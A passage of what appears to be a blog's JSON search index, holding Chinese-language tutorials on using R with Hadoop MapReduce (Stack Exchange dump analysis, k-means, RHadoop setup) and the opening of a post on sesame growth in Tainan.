setup\u0026lt;/strong\u0026gt; section? Do I just reuse the one from the \u0026lt;a href=\u0026quot;http://downloads.angstrom-distribution.org/demo/beaglebone/mkcard.txt\u0026quot; rel=\u0026quot;nofollow noreferrer\u0026quot;\u0026gt;BeagleBone demo site\u0026lt;/a\u0026gt;? Then there is an important steps section under \u0026lt;strong\u0026gt;Finally booting GNU/Linux\u0026lt;/strong\u0026gt; that only contains the text \u0026quot;to be completed\u0026quot;. \u0026lt;/p\u0026gt;\u0026#xA;\u0026#xA;\u0026lt;p\u0026gt;Does anybody know what additional things need to be done to boot into a Debian release for example?\u0026lt;/p\u0026gt;\u0026#xA;\" OwnerUserId=\"22\" LastEditorUserId=\"46969\" LastEditDate=\"2017-02-17T16:52:52.020\" LastActivityDate=\"2017-02-17T16:52:52.020\" Title=\"On the RPi Advanced setup page, what does mkcard.txt do?\" Tags=\"\u0026lt;setup\u0026gt;\" AnswerCount=\"2\" CommentCount=\"0\" /\u0026gt; \u0026lt;row Id=\"3\" PostTypeId=\"1\" AcceptedAnswerId=\"4\" CreationDate=\"2012-06-12T19:53:29.027\" Score=\"6\" ViewCount=\"1261\" Body=\"\u0026lt;p\u0026gt;Which distributors and partners are officially authorized to sell Raspberry Pi's?\u0026lt;/p\u0026gt;\u0026#xA;\" OwnerUserId=\"8\" LastEditorUserId=\"8\" LastEditDate=\"2012-06-14T17:35:31.210\" LastActivityDate=\"2012-06-14T17:35:31.210\" Title=\"Which distributors are authorized to sell device units?\" Tags=\"\u0026lt;purchasing\u0026gt;\" AnswerCount=\"6\" CommentCount=\"0\" ClosedDate=\"2012-06-14T23:19:43.213\" /\u0026gt; \u0026lt;row Id=\"4\" PostTypeId=\"2\" ParentId=\"3\" CreationDate=\"2012-06-12T19:55:24.513\" Score=\"16\" Body=\"\u0026lt;p\u0026gt;\u0026lt;a href=\u0026quot;http://www.farnell.com/\u0026quot; rel=\u0026quot;nofollow\u0026quot;\u0026gt;Farnell\u0026lt;/a\u0026gt; and \u0026lt;a href=\u0026quot;http://uk.rs-online.com/web/\u0026quot; rel=\u0026quot;nofollow\u0026quot;\u0026gt;RS Components\u0026lt;/a\u0026gt; are the only companies listed on \u0026lt;a href=\u0026quot;http://www.raspberrypi.org/faqs\u0026quot; rel=\u0026quot;nofollow\u0026quot;\u0026gt;RaspberryPi.org\u0026lt;/a\u0026gt; authorized to sell the official devices so far.\u0026lt;/p\u0026gt;\u0026#xA;\u0026#xA;\u0026lt;p\u0026gt;Additionally, their is an official \u0026lt;a href=\u0026quot;http://elinux.org/RPi_Buying_Links_By_Country\u0026quot; rel=\u0026quot;nofollow\u0026quot;\u0026gt;Wiki page\u0026lt;/a\u0026gt; of additional sources that the RPi can be purchased from, outside the UK. (Thanks \u0026lt;a href=\u0026quot;http://raspberrypi.stackexchange.com/a/9/8\u0026quot;\u0026gt;@Shane Hudson\u0026lt;/a\u0026gt; for this information!)\u0026lt;/p\u0026gt;\u0026#xA;\" OwnerUserId=\"8\" LastEditorUserId=\"8\" LastEditDate=\"2012-06-13T13:38:42.810\" LastActivityDate=\"2012-06-13T13:38:42.810\" CommentCount=\"1\" /\u0026gt; \u0026lt;row Id=\"5\" PostTypeId=\"1\" AcceptedAnswerId=\"11\" CreationDate=\"2012-06-12T19:55:35.857\" Score=\"58\" ViewCount=\"110720\" Body=\"\u0026lt;p\u0026gt;The site \u0026lt;a href=\u0026quot;http://www.raspberrypi.org/quick-start-guide\u0026quot;\u0026gt;http://www.raspberrypi.org/quick-start-guide\u0026lt;/a\u0026gt; says:\u0026lt;/p\u0026gt;\u0026#xA;\u0026#xA;\u0026lt;blockquote\u0026gt;\u0026#xA; \u0026lt;p\u0026gt;You will need an SD card with an operating system preloaded before you\u0026#xA; can boot the Raspberry Pi. A brand-name (not generic) Class 4 card of\u0026#xA; 4GB or more is recommended. To obtain an SD card image, and for\u0026#xA; instructions on how to flash an SD card from a Linux or Windows PC,\u0026#xA; please refer to \u0026lt;a href=\u0026quot;http://www.raspberrypi.org/downloads\u0026quot;\u0026gt;http://www.raspberrypi.org/downloads\u0026lt;/a\u0026gt;.\u0026lt;/p\u0026gt;\u0026#xA;\u0026lt;/blockquote\u0026gt;\u0026#xA;\u0026#xA;\u0026lt;p\u0026gt;Which SD cards are compatible with the Raspberry Pi?\u0026lt;/p\u0026gt;\u0026#xA;\" OwnerUserId=\"37\" LastEditorUserId=\"90\" LastEditDate=\"2012-06-13T14:53:21.153\" LastActivityDate=\"2015-10-01T08:26:45.943\" Title=\"Which SD cards are compatible?\" Tags=\"\u0026lt;sd-card\u0026gt;\u0026lt;compatibility\u0026gt;\" AnswerCount=\"1\" CommentCount=\"3\" FavoriteCount=\"11\" /\u0026gt; \u0026lt;row Id=\"6\" PostTypeId=\"2\" ParentId=\"3\" CreationDate=\"2012-06-12T19:56:55.850\" Score=\"5\" Body=\"\u0026lt;p\u0026gt;You need to register your interest before you can purchase:\u0026lt;/p\u0026gt;\u0026#xA;\u0026#xA;\u0026lt;p\u0026gt;\u0026lt;a href=\u0026quot;http://uk.rs-online.com/web/generalDisplay.html?id=raspberrypi\u0026quot;\u0026gt;http://uk.rs-online.com/web/generalDisplay.html?id=raspberrypi\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt;\u0026#xA;\u0026#xA;\u0026lt;p\u0026gt;\u0026lt;a href=\u0026quot;http://uk.farnell.com/jsp/bespoke/bespoke7.jsp?ICID=I-RASP-HPBLOF-0015\u0026amp;amp;bespokepage=farnell/en_UK/promotions/raspberryPi.jsp\u0026quot;\u0026gt;http://uk.farnell.com/jsp/bespoke/bespoke7.jsp?ICID=I-RASP-HPBLOF-0015\u0026amp;amp;bespokepage=farnell/en_UK/promotions/raspberryPi.jsp\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt;\u0026#xA;\" OwnerUserId=\"30\" LastActivityDate=\"2012-06-12T19:56:55.850\" CommentCount=\"0\" /\u0026gt; [略] 這個 xml 檔的結構非常簡單，每一筆資料都是用一行 row 表示，所以我們可以直接使用 MapReduce 逐行解析，不需要經過特別的處理。\n將資料以 bzip2 壓縮，節省磁碟空間：\nbzip2 -z Posts.xml 將資料放進 HDFS 檔案系統：\nhadoop fs -mkdir raspberrypi hadoop fs -put Posts.xml.bz2 raspberrypi hadoop fs -ls raspberrypi Found 1 items -rw-r--r-- 3 s00ser01 s00ser00 11444598 2017-05-04 11:00 raspberrypi/Posts.xml.bz2 撰寫 MapReduce 程式 R 與 Hadoop 配合使用的方式主要有兩種，一種是使用 RHadoop 的 rmr2 套件，完全在 R 中執行 MapReduce；另外一種是使用 Hadoop Streaming 的方式將資料傳給 R 來處理。\nRHadoop 套件（rmr2） 這裡我們將分析每篇文章，計算每個作者所獲的 score 總值。\n這是使用 rmr2 實作 MapReduce 的 R 程式碼：\nlibrary(rmr2) # 資料來源 my.input \u0026lt;- \u0026#34;raspberrypi/Posts.xml.bz2\u0026#34; # 定義 Map 函數 se.map \u0026lt;- function(., lines) { score \u0026lt;- c() owner.uid \u0026lt;- c() for (text in lines) { # 取出 Score 值 pattern.s \u0026lt;- \u0026#39;(?\u0026lt;=Score=\u0026#34;)[[:digit:]]+(?=\u0026#34;)\u0026#39; m.s \u0026lt;- regexpr(pattern.s, text, perl = TRUE) if ( m.s == -1 ) next # 取出 OwnerUserId 值 pattern.o \u0026lt;- \u0026#39;(?\u0026lt;=OwnerUserId=\u0026#34;)[[:digit:]]+(?=\u0026#34;)\u0026#39; m.o \u0026lt;- regexpr(pattern.o, text, perl = TRUE) if ( m.o == -1 ) next score \u0026lt;- c(score, regmatches(text, m.s)) owner.uid \u0026lt;- c(owner.uid, regmatches(text, m.o)) } keyval(as.numeric(owner.uid), as.numeric(score)) } # 定義 Reduce 函數 se.reduce \u0026lt;- function(owner.uid, score) { keyval(owner.uid, sum(score)) } # 以 MapReduce 計算使用者的 Score 總值 output \u0026lt;- mapreduce( input = my.input, input.format = \u0026#34;text\u0026#34;, map = se.map, reduce = se.reduce, combine = TRUE ) # 從 HDFS 檔案系統取回計算結果 result.list \u0026lt;- from.dfs(output) result.df \u0026lt;- data.frame(owner.uid = result.list$key, score = result.list$val) result.df \u0026lt;- result.df[order(result.df$score, decreasing = TRUE),] # 取出 Score 最高的前 20 名使用者 result.df.top20 \u0026lt;- result.df[1:20,] result.df.top20 owner.uid score 74 5538 2741 13393 13650 2410 8439 56 2164 947 40 1916 1070 8697 1307 1858 86 1157 7498 894 1157 14154 590 938 3705 93 918 6530 13 752 4673 1070 729 14253 7274 726 4775 8496 719 4932 19949 678 13156 35 639 14569 32756 601 1986 8631 533 7479 54 495 2796 181 458 13157 68 440 R 與 Hadoop Streaming 使用 R 與 Hadoop Streaming API 來實作的版本，概念上大同小異，這是 mapper.R：\n#! /usr/bin/env Rscript con \u0026lt;- file(\u0026#34;stdin\u0026#34;, open = \u0026#34;r\u0026#34;) while (length(text \u0026lt;- readLines(con, n = 1, warn = FALSE)) \u0026gt; 0) { # 取出 Score 值 pattern.s \u0026lt;- \u0026#39;(?\u0026lt;=Score=\u0026#34;)[[:digit:]]+(?=\u0026#34;)\u0026#39; m.s \u0026lt;- regexpr(pattern.s, text, perl = TRUE) if ( m.s == -1 ) next # 取出 OwnerUserId 值 pattern.o \u0026lt;- \u0026#39;(?\u0026lt;=OwnerUserId=\u0026#34;)[[:digit:]]+(?=\u0026#34;)\u0026#39; m.o \u0026lt;- regexpr(pattern.o, text, perl = TRUE) if ( m.o == -1 ) next score \u0026lt;- regmatches(text, m.s) owner.uid \u0026lt;- regmatches(text, m.o) cat(owner.uid, \u0026#34;\\t\u0026#34;, score, \u0026#34;\\n\u0026#34;, sep=\u0026#34;\u0026#34;) } close(con) 這是 reducer.R：\n#! /usr/bin/env Rscript # 移除空白函數 trimWhiteSpace \u0026lt;- function(line) gsub(\u0026#34;(^ +)|( +$)\u0026#34;, \u0026#34;\u0026#34;, line) # 分割欄位函數 splitLine \u0026lt;- function(line) { val \u0026lt;- unlist(strsplit(line, \u0026#34;\\t\u0026#34;)) list(owner.uid = as.character(val[1]), score = as.integer(val[2])) } # 使用環境空間作為雜湊（hash） env \u0026lt;- new.env(hash = TRUE) con \u0026lt;- file(\u0026#34;stdin\u0026#34;, open = \u0026#34;r\u0026#34;) while (length(line \u0026lt;- readLines(con, n = 1, warn = FALSE)) \u0026gt; 0) { line \u0026lt;- trimWhiteSpace(line) split \u0026lt;- splitLine(line) owner.uid \u0026lt;- split$owner.uid score \u0026lt;- split$score # 檢查 owner.uid 是否已經存在 if (exists(owner.uid, envir = env, inherits = FALSE)) { # 更新既有的 owner.uid 變數 old.score \u0026lt;- get(owner.uid, envir = env) assign(owner.uid, old.score + score, envir = env) } else { # 建立名稱為 owner.uid 的變數 assign(owner.uid, score, envir = env) } } close(con) # 輸出結果 for (o in ls(env, all = TRUE)) cat(o, \u0026#34;\\t\u0026#34;, get(o, envir = env), \u0026#34;\\n\u0026#34;, sep = \u0026#34;\u0026#34;) 執行：\nhadoop jar hadoop-streaming-2.6.0-cdh5.5.1.jar \\ -file ./mapper.R \\ -file ./reducer.R \\ -mapper ./mapper.R \\ -reducer ./reducer.R \\ -numReduceTasks 1 \\ -input raspberrypi/Posts.xml.bz2 \\ -output raspberrypi_output 將資料從 HDFS 取出，並整理出前 20 名使用者：\nhadoop fs -cat raspberrypi_output/* | sort -r -n -k 2 | head -n 20 輸出結果為：\n5538\t2741 13650\t2410 56\t2164 40\t1916 8697\t1307 894\t1157 86\t1157 590\t938 93\t918 13\t752 1070\t729 7274\t726 8496\t719 19949\t678 35\t639 32756\t601 8631\t533 54\t495 181\t458 68\t440 ","permalink":"https://blog.gtwang.org/r/analyze-stack-exchange-data-dump-using-r-hadoop-mapreduce/","summary":"\u003cp\u003e這裡示範如何使用 R 與 Hadoop MapReduce 分析 Stack Exchange 網站的傾印資料。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://stackexchange.com/\"\u003eStack Exchange\u003c/a\u003e 是一個程式設計領域非常知名的問答網站，上面有非常多具有參考價值的問題解答，Stack Exchange 也將其整個網站的內容傾印成 XML 檔，以創用 CC 授權的方式開放出來，放在 \u003ca href=\"https://archive.org/details/stackexchange\"\u003earchive.org\u003c/a\u003e 提供大家免費下載使用。\u003c/p\u003e","title":"使用 R 與 Hadoop MapReduce 分析 Stack Exchange Data Dump 資料"},{"content":"本篇敘述如何使用 RHadoop 的 MapReduce 實作 k-means 分群演算法。\n在架設好 RHadoop 計算環境之後，接著就可以使用 MapReduce 撰寫各種分析程式，以下是用 MapReduce 實作 k-means 的 R 程式碼。\n這個 k-means 範例只是用來示範 MapReduce 的實作方法，程式碼比較簡單，不適合在實際的應用上使用。\n# 載入 rmr2 套件 library(rmr2) # 使用 MapReduce 實作 k-means 分群演算法 kmeans.mr \u0026lt;- function( P, # 點座標矩陣，每一列代表一個點 num.clusters, # 群集的數量 num.iter, # 迭代次數 combine, in.memory.combine) { # 計算每個中心點座標 C 與每一點 P 的距離 dist.fun \u0026lt;- function(C, P) { apply( C, 1, function(x) colSums((t(P) - x)^2)) } # Map 函數，分散計算各點與所有中心點的距離 kmeans.map \u0026lt;- function(., P) { nearest = { if(is.null(C)) { # 若沒有初始化中心點，則隨機產生 sample( 1:num.clusters, nrow(P), replace = TRUE) } else { # 計算部分點與所有中心點的距離 D = dist.fun(C, P) # 挑出最近的中心點編號 nearest = max.col(-D) } } if(!(combine || in.memory.combine)) keyval(nearest, P) else # 加入一個都是常數 1 的一行，記錄資料筆數，方便之後計算平均 keyval(nearest, cbind(1, P)) } # Reduce 函數，分散計算各點與所有中心點的距離 kmeans.reduce = { if (!(combine || in.memory.combine) ) { # 計算每一行的平均，得到新的中心點位置 function(., P) t(as.matrix(apply(P, 2, mean))) } else { # 計算每一行的總和，用於 reduce 與 combine function(k, P) keyval( k, t(as.matrix(apply(P, 2, sum)))) } } # 使用 MapReduce 迭代計算中心點 C C \u0026lt;- NULL for (i in 1:num.iter) { C \u0026lt;- values(from.dfs(mapreduce( P, map = kmeans.map, reduce = kmeans.reduce))) # 若有使用 combine，則在此用總和計算平均 if(combine || in.memory.combine) C = C[, -1]/C[, 1] # 處理中心點消失問題 if(nrow(C) \u0026lt; num.clusters) { C \u0026lt;- rbind( C, matrix( rnorm( (num.clusters - nrow(C)) * nrow(C)), ncol = nrow(C)) %*% C) } } # 傳回結果 C } 產生測試用的資料：\n# 設定亂數種子 set.seed(0) # 產生測試座標點資料 P \u0026lt;- do.call(rbind, rep( list(matrix(rnorm(10, sd = 10), ncol = 2)), 20)) + matrix(rnorm(200), ncol = 2) 若要查看資料，可以用 ggplot2 將資料點畫出來看：\n# 查看測試資料 library(ggplot2) qplot(V1, V2, data = as.data.frame(P)) 執行 MapReduce 版本的 k-means：\nkmeans.mr( to.dfs(P), num.clusters = 4, num.iter = 10, combine = FALSE, in.memory.combine = FALSE) [,1] [,2] [1,] 12.931487 -14.925114 [2,] -3.331972 -9.848412 [3,] 12.946355 -1.409949 [4,] 3.997781 23.809110 若需要測試程式的正確性，可以使用單機版的 MapReduce 來測試：\nrmr.options(backend = \u0026#34;local\u0026#34;) kmeans.mr( to.dfs(P), num.clusters = 4, num.iter = 10, combine = FALSE, in.memory.combine = FALSE) 參考資料 GitHub edureka Quora ","permalink":"https://blog.gtwang.org/r/rhadoop-k-means-clustering-tutorial/","summary":"\u003cp\u003e本篇敘述如何使用 RHadoop 的 MapReduce 實作 k-means 分群演算法。\u003c/p\u003e\n\u003cp\u003e在架設好 \u003ca href=\"/r/building-rhadoop-system-examples-tutorial/\"\u003eRHadoop 計算環境\u003c/a\u003e之後，接著就可以使用 MapReduce 撰寫各種分析程式，以下是用 MapReduce 實作 \u003ca href=\"https://zh.wikipedia.org/wiki/K-%E5%B9%B3%E5%9D%87%E7%AE%97%E6%B3%95\"\u003ek-means\u003c/a\u003e 的 R 程式碼。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e這個 k-means 範例只是用來示範 MapReduce 的實作方法，程式碼比較簡單，不適合在實際的應用上使用。\u003c/p\u003e","title":"RHadoop 以 MapReduce 實作 K-Means 分群演算法範例"},{"content":"本篇介紹如何手動架設 RHadoop 計算伺服器，並使用 RHadoop 相關套件進行巨量資料分析。\nRHadoop 是由 Revolution Analytics 所發展的 R 套件集，可讓 R 使用者更方便的使用 Hadoop 分析巨量資料，適用於 Cloudera、Hortonworks 等 Hadoop 發行版，以下是基本的 RHadoop 計算環境架設流程、MapReduce 用法與簡單的範例程式碼。\n基本 Hadoop 環境架設 請參考 Ubuntu Linux 架設 Hadoop 單節點測試主機教學，將基本的 Hadoop 計算環境架設好。\n使用前先測試一下 Hadoop 環境是否正常，先啟動 NameNode 與 DataNode daemon：\nstart-dfs.sh 檢查 daemon 是否有正常啟動：\njps 3370 Jps 3068 DataNode 3261 SecondaryNameNode 測試執行範例程式：\nhadoop jar \\ $HADOOP_HOME/share/hadoop/mapreduce/hadoop-mapreduce-examples-*.jar \\ pi 10 100 [略] Job Finished in 5.478 seconds Estimated value of Pi is 3.14800000000000000000 測試完 Hadoop 環境之後，停止 NameNode 與 DataNode daemon：\nstop-dfs.sh 安裝 R 在 Ubuntu Linux 中使用 apt 安裝 R 套件：\nsudo apt install r-base-core 安裝 RHadoop RHadoop 是一套 R 語言的工具組，可讓使用者結合 R 與 Hadoop 進行巨量資料的分析，其包含五個 R 套件。\n套件 說明 rhdfs 提供 HDFS 檔案系統的存取功能，R 程式設計者可以透過此套件瀏覽、讀取、寫入或修改 HDFS 中的檔案。 rhbase 提供 HBASE 資料庫的存取功能，R 程式設計者可以透過此套件瀏覽、讀取、寫入或修改 HBASE 中的資料表。 plyrmr 提供類似 plyr 與 reshape2 的資料處理功能，使用 Hadoop 的 MapReduce 架構整理資料，但是在使用上比較類似 plyr，沒有太多複雜的 MapReduce 細節。 rmr2 在 Hadoop 架構下，以 MapReduce 對巨量資料進行各種統計分析。 ravro 提供本機與 HDFS 上 avro 檔案格式的存取功能。 安裝 rmr2 Hadoop 的每一個節點都要安裝 rmr2，首先安裝必要的 R 套件：\ninstall.packages(c(\u0026#34;Rcpp\u0026#34;, \u0026#34;RJSONIO\u0026#34;, \u0026#34;digest\u0026#34;, \u0026#34;functional\u0026#34;, \u0026#34;reshape2\u0026#34;, \u0026#34;stringr\u0026#34;, \u0026#34;plyr\u0026#34;, \u0026#34;caTools\u0026#34;)) 從 GitHub 上下載 rmr2 套件檔，直接安裝：\ninstall.packages(\u0026#34;rmr2_3.3.1.tar.gz\u0026#34;) 設定 rmr2 所需的 Linux shell 環境變數：\nexport HADOOP_CMD=$HADOOP_HOME/bin/hadoop export HADOOP_STREAMING=$HADOOP_HOME/share/hadoop/tools/lib/hadoop-streaming-2.7.3.jar 安裝 plyrmr Hadoop 的每一個節點都要安裝 plyrmr，先裝一些必要的套件：\ninstall.packages(c(\u0026#34;dplyr\u0026#34;, \u0026#34;reshape2\u0026#34;, \u0026#34;plyr\u0026#34;, \u0026#34;R.methodsS3\u0026#34;, \u0026#34;Hmisc\u0026#34;, \u0026#34;functional\u0026#34;, \u0026#34;digest\u0026#34;, \u0026#34;memoise\u0026#34;, \u0026#34;lazyeval\u0026#34;, \u0026#34;rjson\u0026#34;)) 從 GitHub 上下載 plyrmr 套件檔，直接安裝：\ninstall.packages(\u0026#34;plyrmr_0.6.0.tar.gz\u0026#34;) 設定 plyrmr 所需的 Linux shell 環境變數：\nexport HADOOP_CMD=$HADOOP_HOME/bin/hadoop export HADOOP_STREAMING=$HADOOP_HOME/share/hadoop/tools/lib/hadoop-streaming-2.7.3.jar 安裝 rhdfs 安裝 rJava：\ninstall.packages(\u0026#34;rJava\u0026#34;) 從 GitHub 上下載 plyrmr 套件檔，直接安裝：\ninstall.packages(\u0026#34;rhdfs_1.0.8.tar.gz\u0026#34;) 設定 rhdfs 所需的 Linux shell 環境變數：\nexport HADOOP_CMD=$HADOOP_HOME/bin/hadoop 安裝 rhbase 從 Apache Thrift 官方網站上下載原始碼，自行編譯安裝 Thrift。\n從 GitHub 上下載 rhbase 套件檔，直接安裝：\ninstall.packages(\u0026#34;rhbase_1.2.1.tar.gz\u0026#34;) 安裝 ravro 安裝必要的 R 套件：\ninstall.packages(c(\u0026#34;bit64\u0026#34;, \u0026#34;rjson\u0026#34;, \u0026#34;Rcpp\u0026#34;)) 從 GitHub 上下載 ravro 套件檔，直接安裝：\ninstall.packages(\u0026#34;ravro_1.0.4.tar.gz\u0026#34;) 測試 RHadoop 首先啟動 NameNode 與 DataNode daemon：\nstart-dfs.sh 進入 R 環境：\nR 載入並測試 rmr2 套件：\nlibrary(rmr2) from.dfs(to.dfs(1:100)) from.dfs(mapreduce(to.dfs(1:100))) 載入並測試 rhdfs 套件：\nlibrary(rhdfs) hdfs.init() hdfs.ls(\u0026#34;/\u0026#34;) 載入並測試 rhbase 套件：\nlibrary(rhbase) hb.init() hb.list.tables() 問題與解決方法 我在測試 rhdfs 時，會出現這樣的問題：\n17/04/24 14:37:44 WARN util.NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable StackOverflow 上有一些解決方法，我是在 .bashrc 中加入一行設定來解決：\nexport LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$HADOOP_HOME/lib/native rmr2 的 MapReduce 範例 以下介紹如何使用 R 的 rmr2 套件，撰寫一些簡單的 MapReduce 範例。\nMap 函數用法 MapReduce 的 Map 結構與 R 的 lapply 函數相當類似，首先我們來看一個最簡單的 lapply 範例：\nsmall.ints \u0026lt;- 1:1000 sapply(small.ints, function(x) x^2) 上面這個範例會計算 small.ints 中每個數值的平方，我們可以使用 MapReduce 改寫這個範例：\nlibrary(rmr2) # 將資料儲存至 HDFS 檔案系統 small.ints \u0026lt;- to.dfs(1:1000) # 以 MapReduce 計算每個數的平方 output \u0026lt;- mapreduce( input = small.ints, map = function(k, v) cbind(v, v^2)) # 從 HDFS 檔案系統取回計算結果 from.dfs(output) to.dfs 函數會將資料存放進 HDFS 檔案系統中，若使用者未指定在 HDFS 中的存放位置，則 to.dfs 會自動將資料儲存在一個暫存的 HDFS 檔案中，使用完畢之後就自動刪除。to.dfs 的傳回值是一個特殊的 big data 物件，其中包含了資料儲存位置的資訊，我們可以將其儲存於 R 的變數當中，並且傳給其他 rmr2 套件的函數使用。\n第二行的 mapreduce 就是執行 MapReduce 的函數，其 input 參數是指定資料的輸入來源，可以使用 to.dfs 的輸出、檔案路徑、或是兩者混合的列表（list）。\nmapreduce 的 map 參數就是指定 map 動作的 R 函數，其必須符合兩個條件：\n此函數包含兩個輸入參數，分別為 key 與 value。 此函數的傳回值必須是由 keyval 函數所產生的鍵值對應，或是 NULL。 若在不需要 shuffle 的情況（沒有 reduce），map 函數可以直接傳回普通的 R 變數 x，這時傳回值會被自動轉為 keyval(NULL, x)。\n這個範例中並沒有使用到 Reduce，所以 Map 所產生的輸出就會作為整個 MapReduce 的結果。\nmapreduce 函數預設也是會傳回一個 big data 物件，我們可以使用 from.dfs 將資料從 HDFS 中取回，而在取回資料時也要自己注意資料的大小，若資料過大、超過記憶體的大小，取回時就會發生問題。\nto.dfs 是將記憶體中的資料寫入 HDFS 檔案系統，並不是一個適合處理巨量資料的函數，在實務上若要將巨量資料放進 HDFS，可以考慮 Flume 或 Sqoop 這類的工具。\nMap 與 Reduce 函數用法 上面的範例中我們只有使用到 Map，接下來要再加入一個 Reduce，而加入 Reduce 的情況就跟 R 的 tapply 比較類似，以下是一個簡單的 tapply 範例：\ngroups \u0026lt;- rbinom(32, n = 50, prob = 0.4) tapply(groups, groups, length) 6 7 9 10 11 12 13 14 15 16 18 20 22 1 1 2 3 8 5 8 10 4 4 2 1 1 這了例子是產生 32 個二項分配的隨機亂數，並計算每個值的出現次數。接著我們使用 MapReduce 改寫這段程式碼：\n# 將資料儲存至 HDFS 檔案系統 groups.dfs \u0026lt;- to.dfs(groups) # 以 MapReduce 計算每個亂數的出現次數 output \u0026lt;- mapreduce( input = groups.dfs, map = function(., v) keyval(v, 1), reduce = function(k, vv) keyval(k, length(vv))) # 從 HDFS 檔案系統取回計算結果 from.dfs(output) $key [1] 18 20 6 22 7 9 10 11 12 13 14 15 16 $val [1] 2 1 1 1 1 2 3 8 5 8 10 4 4 這裡的 mapreduce 函數中多了一個 reduce 參數，此參數所指定的函數跟 map 差不多，也是一個由 keyval 函數所產生鍵值對應，或是 NULL，若傳回 R 的變數 x，則會自動轉為 keyval(NULL, x)。\n這裡我們使用 Map 將每一個隨機亂數都對應到 1，然後在 Reduce 中計算每一個隨機亂數出現的次數，最後得到一張跟 tapply 範例一樣的結果。\n計算字數 計算字數（word count）的範例在 MapReduce 中算是一個最簡單的 hello world 程式，我們以這一小段文字作為測試用的輸入檔案。\nThis is a book That is a desk I have a book I have a desk 以下是用 R 的 mapreduce 來實做的 word count 程式：\n# 資料來源 my.input \u0026lt;- \u0026#34;/path/to/input\u0026#34; # 定義 Map 函數 wc.map \u0026lt;- function(., lines) { k \u0026lt;- unlist(strsplit(lines, \u0026#34; \u0026#34;)) keyval(k, 1) } # 定義 Reduce 函數 wc.reduce \u0026lt;- function(word, counts) { keyval(word, sum(counts)) } # 以 MapReduce 計算字數 output \u0026lt;- mapreduce( input = my.input, input.format = \u0026#34;text\u0026#34;, map = wc.map, reduce = wc.reduce, combine = TRUE) # 從 HDFS 檔案系統取回計算結果 from.dfs(output) $key [1] \"That\" \"have\" \"a\" \"book\" \"desk\" \"is\" \"This\" \"I\" $val [1] 1 2 4 2 2 2 1 2 若要將結果直接寫入 HDFS 中，讓其他的程式讀取，可以這樣寫：\n# 資料輸入與輸出路徑 my.input \u0026lt;- \u0026#34;/path/to/input\u0026#34; my.output \u0026lt;- \u0026#34;/path/to/output\u0026#34; # 以 MapReduce 計算字數 mapreduce( input = my.input, input.format = \u0026#34;text\u0026#34;, output = my.output, output.format = \u0026#34;text\u0026#34;, map = wc.map, reduce = wc.reduce ) 使用非 native 的輸出格式時，因為 bugs 的因素，要將 combine 拿掉才能正常執行，否則可能會出現類似這樣的錯誤：\nError: java.lang.RuntimeException: java.io.IOException: wrong key class: class org.apache.hadoop.io.Text is not class org.apache.hadoop.typedbytes.TypedBytesWritable at org.apache.hadoop.streaming.PipeMapRed.waitOutputThreads(PipeMapRed.java:339) at org.apache.hadoop.streaming.PipeMapRed.mapRedFinished(PipeMapRed.java:538) at org.apache.hadoop.streaming.PipeReducer.close(PipeReducer.java:134) at org.apache.hadoop.mapred.Task$OldCombinerRunner.combine(Task.java:1585) at org.apache.hadoop.mapred.MapTask$MapOutputBuffer.sortAndSpill(MapTask.java:1634) at org.apache.hadoop.mapred.MapTask$MapOutputBuffer.flush(MapTask.java:1486) at org.apache.hadoop.mapred.MapTask.runOldMapper(MapTask.java:460) at org.apache.hadoop.mapred.MapTask.run(MapTask.java:343) at org.apache.hadoop.mapred.YarnChild$2.run(YarnChild.java:163) at java.security.AccessController.doPrivileged(Native Method) at javax.security.auth.Subject.doAs(Subject.java:422) at org.apache.hadoop.security.UserGroupInformation.doAs(UserGroupInformation.java:1671) at org.apache.hadoop.mapred.YarnChild.main(YarnChild.java:158) Caused by: java.io.IOException: wrong key class: class org.apache.hadoop.io.Text is not class org.apache.hadoop.typedbytes.TypedBytesWritable at org.apache.hadoop.mapred.IFile$Writer.append(IFile.java:191) at org.apache.hadoop.mapred.Task$CombineOutputCollector.collect(Task.java:1315) at org.apache.hadoop.streaming.PipeMapRed$MROutputThread.run(PipeMapRed.java:384) 在 Linux shell 下查看 HDFS 中所儲存的結果：\nhadoop fs -cat /path/to/output/* That\t1 have\t2 a\t4 book\t2 desk\t2 is\t2 This\t1 I\t2 參考資料 RDataMining GitHub Hadoop.R 粉丝日志 ","permalink":"https://blog.gtwang.org/r/building-rhadoop-system-examples-tutorial/","summary":"\u003cp\u003e本篇介紹如何手動架設 RHadoop 計算伺服器，並使用 RHadoop 相關套件進行巨量資料分析。\u003c/p\u003e\n\u003cp\u003eRHadoop 是由 Revolution Analytics 所發展的 R 套件集，可讓 R 使用者更方便的使用 Hadoop 分析巨量資料，適用於 Cloudera、Hortonworks 等 Hadoop 發行版，以下是基本的 RHadoop 計算環境架設流程、MapReduce 用法與簡單的範例程式碼。\u003c/p\u003e","title":"RHadoop 計算環境架設教學與使用範例程式碼"},{"content":"本篇紀錄台南西港的黑芝麻成長過程。\n今年春季我們家的田在經過抽地下水灌溉、翻土並播種黑芝麻之後，接下來就是等待黑芝麻發芽與成長，以下是整個黑芝麻的成長過程紀錄。\n由於我今年是有空回到西港時才順便過去芝麻田拍攝，所以間隔時間不太固定，不過還是可以大約看出整個成長過程。\n播種兩週後（2017/04/02） 黑芝麻播種之後經過一週左右就會發芽（可參考另外一塊田的黑芝麻發芽照片），兩週之後又長高了一些。\n這一些就是兩週左右的黑芝麻苗。\n播種三週後（2017/04/09） 播種四週後（2017/04/16） 播種六週後（2017/04/30） 有部分區域因為第一次播種沒有長出來，後來又重新播種，所以長的比較慢。\n","permalink":"https://blog.gtwang.org/agriculture/sesame-growth-sigang-tainan-201704/","summary":"\u003cp\u003e本篇紀錄台南西港的黑芝麻成長過程。\u003c/p\u003e\n\u003cp\u003e今年春季我們家的田在經過\u003ca 